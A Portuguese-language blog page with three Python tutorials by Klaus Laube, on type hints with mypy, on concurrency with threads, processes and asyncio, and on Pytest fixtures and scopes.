Klaus Laube

Tipo assim... tipo em Python

Wed, 20 Oct 2021 15:00:00 GMT

Tipos em Python é aquele "tipo" de assunto que vai agitar qualquer papo de almoço entre programadores. Eu mesmo fui cético por muito tempo, e franzia a testa constantemente quando esse tópico aparecia. Mas já mudei de opinião algumas vezes, e escrever sobre tais mudanças rendeu alguns dos artigos mais acessados do blog. De IDEs vs. editores, passando por GraphQL e chegando até mesmo ao uso de Java. Agora é a vez de tipagem em Python.

Nota-se uma "nem tão recente onda" na utilização de tipagem estática. Alimentada por linguagens como Go e Typescript, os argumentos (assim como prós e contras) são dos mais variados, e vem influenciando linguagens amplamente conhecidas por serem de tipagem dinâmica, como Python e Ruby.

Mais fundamental que entender o "como", é crucial ficar por dentro da motivação por trás da PEP 484. Vamos viajar um pouquinho no tempo e tentar compreender o "por quê".

No meu tempo é que era bom

Conheci o Python lá pelos idos de 2009, e venho falando sobre a linguagem desde então. Sempre posso contar com o artigo do Wikipedia para definir a linguagem com os atributos que mais admiro:

Python é uma linguagem de programação de alto nível, interpretada, de script, imperativa, orientada a objetos, funcional, de tipagem dinâmica e forte.

E sem mais rodeios, abrimos o nosso primeiro parênteses.

Tipagem dinâmica e forte

Python, PHP, Javascript e Ruby tem algo em comum: Elas são linguagens de tipagem dinâmica. Em outras palavras, elas são capazes de escolher o tipo de dado de acordo com o valor que está sendo atribuído a uma variável:

a = "foo"

a = 1
b = 2
print(a + b)  # 3

Ao contrário de linguagens com tipagem estática, como o Java; onde uma vez que a variável esteja setada com o seu respectivo tipo, não podemos mais alterá-lo:

public class MyClass {
    public static void main(String args[]) {
        String a = "foo";
        a = 1;  // TypeError
    }
}

Mesmo se utilizarmos recursos mais modernos, como a inferência de tipo, ainda assim estamos sujeitos à tipagem estática:

public class MyClass {
    public static void main(String args[]) {
        var a = "foo";
        a = 1;  // TypeError
    }
}

O Javascript é um exemplo de linguagem com tipagem fraca. Com ela somos capazes de misturar tipos sem maiores restrições, e contar com conversões realizadas automaticamente pela linguagem, como no exemplo abaixo:

var a = "foo";
var b = 2;

console.log(a + b); // foo2

O mesmo não acontece com o Python, que tem por característica a tipagem forte, sendo assim mais restritivo com esse tipo de operação:

a = "foo"
b = 2

print(a + b)  # TypeError: can only concatenate str (not "int") to str

Tipagem dinâmica e forte foram duas das características mais apaixonantes do Python. A linguagem estava me ajudando a ser mais coerente com o design do código, e com isso, me dando uma camada a mais de segurança (e por consequência, qualidade).

Type hints

A primeira vez que ouvi falar sobre tipagem estática em Python, foi por volta de 2016. Segundo o "Our journey to type checking 4 million lines of Python", no ano anterior (com o Python 3.5) era lançada a PEP 484.

Essa Python Enhancement Proposal oficializava a proposta de Jukka Lehtosalo para o uso de tipos em Python. A diferença aqui, em relação a outras linguagens, é que utilizamos anotações para sugerir qual tipo uma variável ou parâmetro receberá (chamadas de type hints):

def greeting(name: str) -> str:
    return 'Hello ' + name

Por anotações entende-se que estamos sugerindo ao programador, e não ao intepretador, quais são os tipos. De fato, o interpretador ignora tais instruções e elas não tem efeito no código rodando.

Na época, o mypy não era essa lib bem estabelecida que é hoje. Conceitos e ferramentas ao redor desse tópico ainda eram confusos, e o mesmo gerava debates acalorados.

Nem preciso dizer que fui um dos programadores que logo de cara torceu o nariz.

Static type é cool novamente

Quantas vezes você já precisou abrir uma função para compreender o que exatamente ela retornava? Quantos Docstrings você leu, dando dicas de tipos de parâmetros e retorno? Quantos print e pdb.set_trace() para entender a razão de um atributo de instância estar disparando algum erro de tipo ou chave?

À medida que o seu projeto vai crescendo em tamanho e complexidade, a ausência de tipos começa a afetar a qualidade do mesmo, pelo menos é isso que afirma Dustin Ingram no talk Static Typing in Python:

Quando migrar para Type Hint (youtube.com)

Se você tiver 28 minutos, dê uma pausa neste artigo e confira a apresentação na íntegra:

Há o argumento de que se o código fosse claro, seguindo padrões e boas práticas, não precisaríamos de tais artifícios. Acho difícil discordar dessa afirmação. Tão difícil quanto encontrar tal código.

Código legível é subjetivo, enquanto que tipagem estática serve como uma forma de documentação e (supostamente) auxilia na manutenibilidade de software. Esse é um dos argumentos apresentados no paper "An empirical study on the impact of static typing on software maintainability".

Em suma, com o passar do tempo, fazendo parte de grandes projetos front-end em React, e utilizando de tipagem para entender o que estava acontecendo, eu enxergo e entendo o argumento a favor do uso de type hints em Python.

Como faz?

A melhor forma de começar é através do mypy:

$ pip install mypy

O próximo passo é adicionar as anotações ao código, indicando os tipos:

# calculadora.py

def soma(a: int, b: int) -> int:
    return a + b

result = soma(2.5, 1)
print(result)

Anotamos os parâmetros da função através de : int, e o retorno com -> int. Com o utilitário de linha de comando executamos a checagem:

$ mypy calculadora.py
Success: no issues found in 1 source file

Se alterarmos um dos parâmetros passados para float, o mypy nos alertará que há uma inconsistência:

$ mypy calculadora.py
calculadora.py:5: error: Argument 1 to "soma" has incompatible type "float"; expected "int"
Found 1 error in 1 file (checked 1 source file)

Mas ainda assim será possível executar o código sem problemas.

VS Code

Com o VS Code e o plugin Python instalado, basta o interpretador configurado ter acesso ao mypy, ou que você explicitamente passe o caminho do executável nas configurações do editor:

Como o erro do mypy é exibido no VS Code

Vim

No Vim há diferentes alternativas. Talvez a forma mais simples e prática seja com o uso do vim-ale.

Caso você se aventure pelo mundo do LSP, uma combinação interessante é a do vim-lsp + Python Language Server:

$ pip install pip install python-lsp-server pylsp-mypy

Como o erro do mypy é exibido no vim com vim-lsp

Considerações finais

Volto a mencionar a minha experiência em um projeto complexo em Javascript: Ter os tipos declarados e explícitos foi de muita ajuda, e sem dúvida acelerou o desenvolvimento e o onboarding de novos membros à equipe com o passar do tempo. Não é tão difícil de enxergar as vantagens por esses termos.

Mas o debate sobre Python em si ser um bom candidato a esse tipo de prática é muito válido. Fazendo um contraponto ao parágrafo acima, um código bem escrito poderia sim ser o suficiente para resolver alguns dos problemas que estamos tentando resolver com type hint.

Eu ainda trocaria um código mal escrito por um bem escrito, ao invés de um mal escrito por um mal escrito com type hints.

Em cima do muro :)

Quem sabe no próximo grande projeto...

Até a próxima.

Referência

Do WSGI ao ASGI - Parte 1

Mon, 01 Mar 2021 17:45:00 GMT

O Django 3 veio para sacudir as estruturas! Parece que foi ontem, mas a versão já está aí desde 2019. Entre todas as suas adições, a de maior destaque certamente é a adoção de capacidades async através do ASGI (Asynchronous Server Gateway Interface).

Se você, assim como eu, não vê motivos para largar o WSGI (Web Server Gateway Interface), e ainda tem dificuldades para compreender o que é de fato esse novo Gateway Interface, vem comigo!

Mas antes de mergulhar na prática, essa é uma boa oportunidade para falarmos sobre async, threads, concorrência e paralelismo.

CPU, cores, processos e threads

O CPU é a cabeça por trás de todo o processamento. Ele funciona em ciclos que correspondem ao tempo necessário para a execução de uma operação. Um CPU pode ter múltiplos cores, e cada core é capaz de executar múltiplos processos.

No caso dos processos Python, cada um possui um interpretador Python, memory space, e o famigerado GIL (mais a seguir).

Quando executamos o processo Python, ele:

Pode executar múltiplos subprocessos.
A partir da main thread, pode iniciar múltiplas threads.

Multithreading vs. Multiprocessing

Uma thread é uma unidade de execução dentro de um processo. Cada thread utiliza o espaço de memória do mesmo, compartilhando-o com as demais.

Concorrência e paralelismo

A motivação por trás do uso de threads e subprocessos é permitir que diferentes tarefas aconteçam ao mesmo tempo. E "ao mesmo tempo" pode significar que a intenção seja de um resultado simultâneo, mas na prática, não necessariamente ocorrendo no mesmo instante.

Complicado? Para fins didáticos vamos utilizar o exemplo proposto pelo FinTechExplained:

Eu estou esperando 10 amigos para almoçar, e eu tenho 3 horas para cozinhar o suficiente para 10 pessoas.

Os passos para um prato são:

Começo lavando os vegetais (~5 minutos);
Corto os vegetais (~13 minutos);
Cozinho os mesmos (~30 minutos);
Sirvo (~2 minutos).

O fluxo de forma linear

Imagine que temos apenas uma boca no fogão, e que só conseguimos cozinhar um prato por vez. Se pensarmos de forma linear, um prato leva aproximadamente 50 minutos para ficar pronto. Se multiplicarmos pelo número de amigos, precisaremos de 8 horas cozinhando para atender a demanda.

Concorrência

Para reduzir o tempo total, uma possibilidade é adquirirmos outro fogão. Continuamos a cortar os vegetais de forma sequencial, mas o passo de cozimento pode acontecer de uma maneira na qual eu possa ter as duas bocas funcionando, e checar periodicamente o estado de cozimento de cada prato.

Com duas bocas, consigo ter concorrência no cozimento

Diogo M. Martins define concorrência como:

Quando duas ou mais tarefas podem começar a ser executadas e terminar em espaços de tempo que se sobrepõem, não significando que elas precisam estar em execução necessariamente no mesmo instante.

Logo, ao invés de 60 minutos (2 pratos x 30 minutos de cozimento) podemos alcançar um tempo menor.

Paralelismo

Com dois cozinheiros, cada um trabalhando de sua casa, conseguimos dividir a carga, e portanto, em 4 horas seremos capazes de atender a demanda.

Com dois cozinheiros, consigo paralelizar o trabalho

E talvez essa seja a forma mais simplista de definir paralelismo: Quando duas ou mais tarefas são executadas literalmente ao mesmo tempo.

Bom... se a motivação por trás das threads e subprocessos é permitir que tarefas aconteçam ao mesmo tempo, podemos utilizar qualquer um deles para alcançar paralelismo, certo?

Uma imagem pode valer mais que mil palavras (stackoverflow.com)

Não necessariamente.

GIL (Global Interpreter Lock)

O Python Global Interpreter Lock (ou GIL) é uma "trava" que permite que apenas uma thread tenha controle sobre o interpretador. Ou seja, apenas uma thread executa por vez, mesmo em uma arquitetura multi-thread com mais de um core.

Infame? No mínimo. Mas há uma boa motivação para essa trava existir. De forma resumida, ela está relacionada com a forma como a linguagem gerencia memória, e previne problemas de memory leak e deadlocks, ao mesmo tempo que oferece números interessantes de performance.

O artigo do RealPython, "What Is the Python Global Interpreter Lock (GIL)?", é uma excelente referência para você saber tudo a respeito.

Para o bem ou para o mal, na prática você não consegue atingir paralelismo utilizando threads em Python (e note, essa é uma realidade específica da linguagem). Ainda assim, fazer multithreading te dará o resultado concorrente que você deseja.

GIL e o gerenciamento de threads

E como conseguimos de fato paralelismo então? Utilizando processos!

Com a biblioteca de multiprocessing, ao invés de iniciarmos uma thread, iniciamos um novo processo Python que se encarregará de executar o que for requisitado. E citando o início desse artigo:

No caso dos processos Python, cada um possui um interpretador Python, memory space, e o famigerado GIL.

Logo, não sofremos a limitação da trava uma vez que estamos falando de processos à parte, gerenciados pelo Sistema Operacional.

Multithreading e Multiprocessing

Para ficar um pouco mais claro, vamos a um exemplo prático. Verificaremos o tamanho de alguns sites.

A forma mais recomendada de dar os primeiros passos com threads em Python é através da biblioteca concurrent.futures:

# thread.py

import concurrent.futures
import urllib.request

URLS = ['http://www.foxnews.com/',
        'http://www.cnn.com/',
        'http://www.bbc.co.uk/',]

def load_url(url, timeout):
    with urllib.request.urlopen(url, timeout=timeout) as conn:
        return conn.read()

def main():
    with concurrent.futures.ThreadPoolExecutor(max_workers=3) as executor:
        future_to_url = {executor.submit(load_url, url, 60): url for url in URLS}

        for future in concurrent.futures.as_completed(future_to_url):
            url = future_to_url[future]
            data = future.result()
            print('%r tem %d bytes' % (url, len(data)))


if __name__ == "__main__":
    main()

Caso você queira saber mais sobre a sintaxe, vale a pena conferir a documentação oficial do Python.

A execução deve apresentar um resultado parecido com o abaixo:

'http://www.bbc.co.uk/' tem 361696 bytes
'http://www.cnn.com/' tem 1143256 bytes
'http://www.foxnews.com/' tem 334772 bytes

O ThreadPoolExecutor estende do tipo Executor. Possuímos também o filho ProcessPoolExecutor, que tem uma interface semelhante, mas utiliza o módulo multiprocessing por baixo dos panos:

# process.py

import concurrent.futures
import urllib.request

URLS = ['http://www.foxnews.com/',
        'http://www.cnn.com/',
        'http://www.bbc.co.uk/',]

def load_url(url, timeout):
    with urllib.request.urlopen(url, timeout=timeout) as conn:
        return conn.read()

def main():
    with concurrent.futures.ProcessPoolExecutor(max_workers=3) as executor:
        future_to_url = {executor.submit(load_url, url, 60): url for url in URLS}

        for future in concurrent.futures.as_completed(future_to_url):
            url = future_to_url[future]
            data = future.result()
            print('%r tem %d bytes' % (url, len(data)))


if __name__ == "__main__":
    main()

Para maiores detalhes sobre a implementação, confira a documentação do ProcessPoolExecutor.

Com auxílio da ferramenta de linha de comando time, podemos calcular quanto tempo cada script leva para executar as tarefas concorrentemente:

$ time python thread.py
'http://www.bbc.co.uk/' tem 360652 bytes
'http://www.foxnews.com/' tem 336778 bytes
'http://www.cnn.com/' tem 1143341 bytes
python thread.py  0.15s user 0.06s system 38% cpu 0.555 total

$ time python process.py
'http://www.bbc.co.uk/' tem 360652 bytes
'http://www.cnn.com/' tem 1143341 bytes
'http://www.foxnews.com/' tem 336779 bytes
python process.py  0.41s user 0.12s system 74% cpu 0.715 total

E surpreendentemente vemos que o exemplo com threads (0.15s) leva menos tempo que o com subprocessos (0.41s).

I/O-bound e CPU-bound

Pela ideia de que threads em Python não são paralelas, podemos chegar erroneamente à conclusão de que multiprocessing é a solução definitiva.

Depende do tipo de problema que estamos tentando resolver. Há duas categorias distintas que influenciam na decisão:

Problemas CPU-bound: Onde o progresso do processo é limitado pela velocidade da CPU .
Problemas I/O-bound: O progresso é limitado pela velocidade do subsistema de entrada/saída.

Um exemplo do primeiro é um conjunto de operações matemáticas complexas, que dependem exclusivamente do uso da CPU. O código da seção anterior é um exemplo de I/O-bound.

Threads e I/O

O Sistema Operacional é responsável pelo gerenciamento de uma thread. Ele a interrompe a qualquer momento, salva o seu estado, e executa qualquer outra em seu lugar, podendo resumi-la ao fim do processo.

Larry Hastings, no "Python's Infamous GIL", descreve como o gerenciamento da GIL funciona do ponto de vista da linguagem:

The way Python threads work with the GIL is with a simple counter. With every 100 byte codes executed the GIL is supposed to be released by the thread currently executing in order to give other threads a chance to execute code.

Quando acessamos um banco de dados em outro servidor, um serviço web, ou um arquivo em um sistema de arquivos, estamos realizando uma operação I/O-bound. Qualquer ação que demande comunicação com o hardware (como os sockets), envolve comunicação com o kernel da máquina, e essa operação é mais lenta que as operações de uma CPU.

I/O e CPU em um contexto I/O-Bound com Threads (realpython.com)

Como resultado, a maioria das operações I/O-bound ficará em um estado de "espera" até o momento em que ela receba um resultado. E como afirma Cody Piersall, nessa incrivelmente simples resposta no Stackoverflow:

The GIL won't hurt you here.

For I/O bound tasks (like downloading webpages), the GIL is not a problem. Python releases the GIL when I/O is happening, which means all the threads will be able execute the requests in parallel.

Em outras palavras, a thread que necessita pegar dados de uma fonte externa irá adquirir a GIL. Subseqüentemente o lock é liberado e é adquirido por outra thread que inicia outro código I/O-bound (por exemplo). Quando a GIL é adquirida novamente pela primeira thread, possivelmente ela já tenha recebido os dados.

Exemplo onde a GIL é aquirida e liberada em diferentes threads (medium.com/fintechexplained)

Some isso ao fato de que criar novos processos é normalmente mais caro do que threads, e temos uma resposta satisfatória aos números apresentados no experimento anterior.

Portanto, se:

CPU-bound: Use multiprocessing;
I/O-bound: Use threads ou asyncio.

Ah! Claro! asyncio!

E voltamos ao asynchronous, afinal esse é um post sobre ASGI :)

Segundo Miguel Grinberg, no talk "Asynchronous Python for the Complete Beginner", async é:

A style of concurrent programming in which tasks release the CPU during waiting periods, so that other tasks can use it.

É importante salientar que:

Async (async IO, asynchoronous, ou asynchronous IO) e asyncio não são exatamente a mesma coisa;
O asynchronous IO, de forma geral, é um estilo de programação concorrente;
Já o asyncio é uma das implementações Python desse estilo (há outras implementações, como o uvloop).

Continuamos dentro dos domínios da concorrência, mas ainda assim, apresentando uma técnica completamente diferente.

Event loop

De forma simplista, imagine que há um objeto Python chamado de event loop, e esse camarada é quem controla como e quando cada task irá rodar. Ele é consciente de cada task, e sabe em qual estado cada uma está.

O event loop é um pouco abstrato, e não consegui pensar em nenhum diagrama para explicá-lo (fadeevab.com)

Por exemplo, o estado "pronto" indica que a tarefa tem trabalho a fazer e está pronta para rodar. O "esperando" indica que a tarefa está esperando que alguma coisa externa termine, como as I/O-bounds operations que discutimos anteriormente.

Para deixar as coisas simples, vamos imaginar que o event loop mantenha uma lista para tarefas "prontas para executar", e outra para "esperando". Ele pega uma das tasks prontas para executar e bota para rodar. E aqui vai um detalhe importante: A tarefa terá total controle da execução até o momento que ela, cooperativamente, devolve o controle para o event loop.

Quando a tarefa devolve o controle para o event loop, ele a coloca na determinada fila dependendo do seu estado. Ele (o event loop) percorre a lista de tarefas "esperando" para checar se o I/O de alguma delas já acabou, e portanto, se o seu estado agora é "pronta para executar". Essa tarefa é então movida para a lista de prontos para executar, e o event loop pega a próxima tarefa dessa mesma lista.

I/O e CPU em um contexto I/O-Bound com asyncio (realpython.com)

E o processo se repete.

asyncio x multithreading

O async e threads podem até parecer ter algumas semelhanças, mas há muitas diferenças. Para começar, as "tarefas" no contexto do asyncio são chamadas de coroutines. Recorremos ao Stackoverflow para deixar as coisas mais claras:

With threads, the operating system switches running threads preemptively according to its scheduler, which is an algorithm in the operating system kernel. With coroutines, the programmer and programming language determine when to switch coroutines; in other words, tasks are cooperatively multitasked by pausing and resuming functions at set points, typically (but not necessarily) within a single thread.

Duas coisas importantes precisam ser observadas com essa afirmação:

Tarefas nunca são interrompidas no meio de uma operação, portanto, é mais fácil e seguro compartilhar recursos com asyncio em comparação com threads.
É isso mesmo que você leu: Tipicamente (mas não necessariamente) dentro de uma única thread.

Outro ponto importante é que assim como threads, corrotinas são mais leves que subprocessos. Mas aposto que você ainda está chocado com o single-thread, então vamos voltar a ele.

O exemplo da enxadrista

O asyncio é (por padrão) single-threaded e single-process. Como ele consegue ser uma alternativa tão interessante quanto os seus primos?

Achou que não ia ter referência ao Gambito? (lifestyleasia.com)

Voltamos a citar o RealPython, trazendo o exemplo da enxadrista:

Chess master Judit Polgár hosts a chess exhibition in which she plays multiple amateur players. She has two ways of conducting the exhibition: synchronously and asynchronously.

Assumptions

24 opponents

Judit makes each chess move in 5 seconds

Opponents each take 55 seconds to make a move

Games average 30 pair-moves (60 moves total)

Synchronous version: Judit plays one game at a time, never two at the same time, until the game is complete. Each game takes (55 + 5) * 30 == 1800 seconds, or 30 minutes. The entire exhibition takes 24 * 30 == 720 minutes, or 12 hours.

Asynchronous version: Judit moves from table to table, making one move at each table. She leaves the table and lets the opponent make their next move during the wait time. One move on all 24 games takes Judit 24 * 5 == 120 seconds, or 2 minutes. The entire exhibition is now cut down to 120 * 30 == 3600 seconds, or just 1 hour.

Temos apenas uma Judit, que pode fazer um movimento por vez por ela mesma. Ela jogar cada jogo de forma síncrona limita ela também ao tempo que o outro enxadrista tem para respondê-la. Mas de forma assíncrona, ela consegue lidar com múltiplas tarefas acontecendo concorrentemente, em turnos que permitem que ao tempo que um enxadrista está pensando em uma resposta, ela se move para o próximo, e retorna quando o primeiro estiver pronto.

Imagine que Judit é o event loop, e que as jogadas com os 24 oponentes são tarefas acontecendo concorrentemente.

async/await

Mas como?

O Python apresenta algumas palavras reservadas que permitem informar ao event loop o estado da tarefa sendo executada. Você provavelmente já ouviu falar das principais: async e await.

Com a primeira, indicamos ao Python que uma função trata-se de uma corrotina (ou um generator assíncrono). Já com o await, estamos dando o controle de volta ao event loop, e sinalizando que podemos esperar pelo resultado de determinada operação.

Ou seja, com o código abaixo:

async def g():
    r = await f()
    return r

Queremos dizer:

Suspenda a execução de g(),
até que o que quer que a gente esteja esperando em f()
seja retornado.

Nesse meio tempo, vá executar alguma outra coisa...

E note que bibliotecas para I/O precisam suportar essa forma de escrita, caso contrário não estaremos de fato fazendo uso das propriedades do async.

Na prática

Voltamos ao mesmo exemplo usado com threads e multiprocessing, mas agora reescrito para utilizar a biblioteca asyncio:

# async.py

import asyncio
import httpx
import itertools

URLS = ['http://www.foxnews.com/',
        'http://www.cnn.com/',
        'http://www.bbc.co.uk/', ]


async def measure_url(client, url):
    resp = await client.get(url)
    length = len(resp.text)
    return (url, length)


async def main():
    async with httpx.AsyncClient() as client:
        results = await asyncio.gather(
            *map(measure_url, itertools.repeat(client), URLS)
        )

    for (url, length) in results:
        print(f"{url} tem {length} bytes")


if __name__ == "__main__":
    asyncio.run(main())

Note o uso das palavras reservadas async e await, e do inicializador do event loop. Além, claro, do uso de bibliotecas não bloqueantes como o caso da httpx.

E como fica o comparativo com threads e processos? Mais uma vez rodando com time, temos:

$ time python async.py
http://www.foxnews.com/ tem 339756 bytes
http://www.cnn.com/ tem 1145150 bytes
http://www.bbc.co.uk/ tem 317556 bytes
python async.py  0.22s user 0.07s system 13% cpu 2.151 total

Nada mal. Quase metade do tempo usando multiprocessing, e um pouco mais que usando threads. Isso não quer dizer que asyncio é necessariamento mais lento, apenas que o contexto desse experimento favoreceu o exemplo com threads.

O propósito do comparativo com time nesse artigo é apenas ilustrar que há diferença entre as opções possíveis. Mas se você não está satisfeito com o resultado, o Stackoverflow pode ajudar novamente:

CPU Bound => Multi Processing

I/O Bound, Fast I/O, Limited Number of Connections => Multi Threading

I/O Bound, Slow I/O, Many connections => Asyncio

Vai depender do contexto do problema sendo resolvido.

Considerações finais

Eu lembro de estar em mais de uma entrevista de emprego, e ser perguntado sobre como fazer CPU-bound e IO-bound em Python.

Agora sabemos o básico sobre os principais conceitos relacionados à concorrência em Python. Temos uma perspectiva mais detalhada sobre a GIL, e não entramos no mérito de debater se ela é boa ou ruim. Entender a natureza das threads na linguagem é mais importante, e é crucial para decidirmos da melhor forma como solucionar problemas concorrentes.

E optar pelo async/ASGI faz parte disso também. Portanto, agora que temos todo o contexto de concorrência e paralelismo, no próximo post vamos revisitar o funcionamento do WSGI, compará-lo com o seu primo mais novo, e compreender a motivação por trás da alternativa.

Até a próxima.

Referências

O popular e poderoso Pytest

Sun, 24 Jan 2021 17:37:00 GMT

Ok. Eu admito. O primeiro post de 2021 será só para cumprir tabela. Afinal, se você já programa em Python, provavelmente já ouviu falar do Pytest. E é pela sua popularidade, mas acima de tudo sua versatilidade, que eu me sinto na obrigação de pelo menos arranhar o assunto.

10 anos de blog, e escrevi quase nada sobre a ferramenta. Shame!

Um baita framework de testes

Já falamos sobre os benefícios de escrever testes:

Então podemos partir do princípio que testes são mais do que essenciais como ferramenta de design e desenvolvimento.

O Pytest se considera um framework que tem por objetivo te permitir escrever testes pequenos de maneira fácil, e ainda assim ser possível escalar o seu uso para testes funcionais complexos.

Livre e de código-aberto (MIT), é hoje uma alternativa mais popular que o próprio unittest (que faz parte da standard lib). Rico em plugins, com ele é possível escrever testes em diferentes formatos, para diferentes fins.

Mão na massa!

Vamos aproveitar o Poetry e iniciar um projeto:

$ poetry new my_calc
$ cd my_calc/

O Pytest já é listado como uma dependência de projetos criados via poetry. Portanto, um poetry install é o suficiente para instalá-lo:

$ poetry install

Ou com o pip:

$ pip install pytest

Vamos ativar o virtualenv com o Poetry, para que assim as instruções daqui para frente sejam as mesmas para os não-usuários da ferramenta:

$ poetry shell

Encontrando os testes

Por padrão, o Pytest espera que o seus arquivos de teste comecem com test_, ou terminem com _test.py. Customizações são possíveis, mas o padrão já nos atende.

Vamos começar o teste pela forma convencional, utilizando unittest.

# tests/test_my_calc.py

from unittest import TestCase


class TestSum(TestCase):

    def test_one_plus_one_is_equal_two(self):
        result = calc(1, "+", 1)
        self.assertEqual(2, result)

Ainda com a unittest, executamos o teste:

$ python -m unittest
E
======================================================================
ERROR: test_one_plus_one_is_equal_two (tests.test_my_calc.TestSum)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/Users/klauslaube/Workspace/my_calc/tests/test_my_calc.py", line 7, in test_one_plus_one_is_equal_two
    result = calc(1, "+", 1)
NameError: name 'calc' is not defined

----------------------------------------------------------------------
Ran 1 test in 0.000s

FAILED (errors=1)

Agora utilizando o utilitário de linha de comando, pytest:

$ pytest
======================================================================================== test session starts =========================================================================================
platform darwin -- Python 3.8.1, pytest-5.4.3, py-1.10.0, pluggy-0.13.1
rootdir: /Users/klauslaube/Workspace/my_calc
collected 1 item

tests/test_my_calc.py F                                                                                                                                                                        [100%]

============================================================================================== FAILURES ==============================================================================================
_______________________________________________________________________________ TestSum.test_one_plus_one_is_equal_two _______________________________________________________________________________

self = <tests.test_my_calc.TestSum testMethod=test_one_plus_one_is_equal_two>

    def test_one_plus_one_is_equal_two(self):
>       result = calc(1, "+", 1)
E       NameError: name 'calc' is not defined

tests/test_my_calc.py:7: NameError
====================================================================================== short test summary info =======================================================================================
FAILED tests/test_my_calc.py::TestSum::test_one_plus_one_is_equal_two - NameError: name 'calc' is not defined
========================================================================================= 1 failed in 0.10s ==========================================================================================

Como é possível notar, o output é um pouco mais verbose. Mas o ponto alto aqui é que, mesmo que o seu projeto esteja utilizando unittest como biblioteca de testes, o test runner do pytest ainda assim consegue identificar e executá-los.

Fazer o teste passar vai demandar a criação da função calc:

# my_calc/calc.py

def calc(num1, operation, num2):
    return 2

E importar a mesma nos testes:

# tests/test_my_calc.py

from unittest import TestCase
from my_calc.calc import cal

(...)

Executar novamente o pytest deve trazer um resultado positivo dessa vez.

Escrevendo os testes

E se quisermos abrir mão do uso da unittest? É perfeitamente possível. O Pytest (por padrão) busca por classes de teste com prefixo Test, e prefixo test para os métodos:

# tests/test_my_calc.py

from my_calc.calc import calc


class TestSum:

    def test_one_plus_one_is_equal_two(self):
        result = calc(1, "+", 1)
        assert 2 == result

Podemos ir além, e ao invés de métodos utilizar funções. Isso simplificará bastante o boilterplate de código necessário para escrever um teste simples:

# tests/test_my_calc.py

from my_calc.calc import calc


def test_one_plus_one_is_equal_two():
    result = calc(1, "+", 1)
    assert 2 == result

Antes de ir, vamos refatorar a solução:

# my_calc/calc.py

OPERATIONS = {
    "+": lambda x, y: x + y
}


def calc(num1, operation, num2):
    return OPERATIONS[operation](num1, num2)

Fixtures

Para apresentar o conceito de fixtures, vamos deixar a calculadora ainda mais "maluca" (para esconder a falta de criatividade de quem vos escreve). Vamos supor que há a seguinte demanda:

# tests/test_my_calc.py

from dataclasses import dataclass
from my_calc.calc import calc


@dataclass
class FakeWrappedValue:
    value: float = None

(...)

def test_wrapper_object_with_twenty_plus_one_is_equal_to_twenty_one():
    wrapped_value = FakeWrappedValue(value=20)
    result = calc(wrapped_value, "+", 1)
    assert 21 == result

Os testes vão obviamente falhar. Vamos corrigir a função calc:

def calc(num1, operation, num2):
    x = getattr(num1, "value", num1)

    return OPERATIONS[operation](x, num2)

Ainda precisamos garantir que num2 possa também receber um objeto com atributo value. Para fins didáticos, vamos escrever um novo teste:

# tests/test_my_calc.py

(...)

def test_one_plus_wrapper_object_with_twentyis_equal_to_twenty_one():
    wrapped_value = FakeWrappedValue(value=20)
    result = calc(1, "+", wrapped_value)
    assert 21 == resul

O testes falharão novamente. Corrigimos novamente a função:

def calc(num1, operation, num2):
    x = getattr(num1, "value", num1)
    y = getattr(num2, "value", num2)

    return OPERATIONS[operation](x, y)

Pronto! Testes passando novamente, e enfim podemos falar sobre fixtures. Segundo o Real Python, fixtures são:

(...) a way of providing data, test doubles, or state setup to your tests. Fixtures are functions that can return a wide range of values. Each test that depends on a fixture must explicitly accept that fixture as an argument.

Com auxílio do decorator @fixture, somos capazes de escrever uma função que pode ser reaproveitada por diferentes testes. Faremos isso com a instância de FakeWrappedValue:

# tests/test_my_calc.py

import pytest
from dataclasses import dataclass
from my_calc.calc import calc


@dataclass
class FakeWrappedValue:
    value: float = None


@pytest.fixture
def wrapped_value_with_twenty():
    return FakeWrappedValue(value=20)


def test_one_plus_one_is_equal_two():
    result = calc(1, "+", 1)
    assert 2 == result


def test_wrapper_object_with_twenty_plus_one_is_equal_to_twenty_one(wrapped_value_with_twenty):
    result = calc(wrapped_value_with_twenty, "+", 1)
    assert 21 == result


def test_one_plus_wrapper_object_with_twentyis_equal_to_twenty_one(wrapped_value_with_twenty):
    result = calc(1, "+", wrapped_value_with_twenty)
    assert 21 == result

Note a função wrapped_value_with_twenty decorada com pytest.fixture. Outro ponto importante é que as funções que utilizam esse parâmetro agora recebem ele como argumento. Por exemplo:

def test_wrapper_object_with_twenty_plus_one_is_equal_to_twenty_one(wrapped_value_with_twenty):
    result = calc(wrapped_value_with_twenty, "+", 1)
    assert 21 == result

Fixtures podem ajudar a abstrair complexidades que não fazem sentido serem evidenciadas no corpo do teste. Por exemplo (e perceba que esse é um exemplo infinitamente bobo), podemos esconder a "complexidade" de instanciar um objeto com value vazio:

(...)

@pytest.fixture
def empty_wrapped_value():
    return FakeWrappedValue(value=None)


def test_wrapper_object_with_empty_value_plus_one_is_equal_to_one(empty_wrapped_value):
    result = calc(empty_wrapped_value, "+", 1)
    assert 1 == result

Os testes vão quebrar. Ficará ao seu encargo resolver essa aí ;)

Escopos

Juntamente com as fixtures vem o conceito de scopes. É possível encontrar cinco tipos diferentes, e podemos começar pelo já explorado "function".

No exemplo de fixtures da seção anterior, utilizamos esse tipo de escopo. Por padrão, fixtures são definidas com o escopo de função, significando que a fixture será executada por test function.

O escopo class traz um comportamento um pouco diferente. Quando aplicado a uma classe, ele funciona como o setUpClass do unittest. Vamos mudar o arquivo de testes para vislumbrar a diferença entre esses dois tipos de escopo:

# tests/test_my_calc.py

from dataclasses import dataclass

import pytest
from my_calc.calc import calc


@dataclass
class FakeWrappedValue:
    value: float = None


@pytest.fixture
def wrapped_value_with_twenty():
    print("Function fixture")
    return FakeWrappedValue(value=20)


@pytest.fixture(scope="class")
def x_and_y(request):
    print("Class fixture")
    request.cls.x = 1
    request.cls.y = 1


@pytest.mark.usefixtures("x_and_y")
class TestAddingThingsUp:

    def test_one_plus_one_is_equal_two(self):
        result = calc(self.x, "+", self.y)
        assert 2 == result

    def test_wrapper_object_with_twenty_plus_one_is_equal_to_twenty_one(self, wrapped_value_with_twenty):
        result = calc(wrapped_value_with_twenty, "+", self.y)
        assert 21 == result

    def test_one_plus_wrapper_object_with_twentyis_equal_to_twenty_one(self, wrapped_value_with_twenty):
        result = calc(self.x, "+", wrapped_value_with_twenty)
        assert 21 == result

Alguns pontos importantes não podem passar em branco:

Note o uso do argumento scope="class" decorando a assinatura da fixture x_and_y
pytest.mark.usefixtures é quem ativa o uso da fixture na classe TestAddingThingsUp
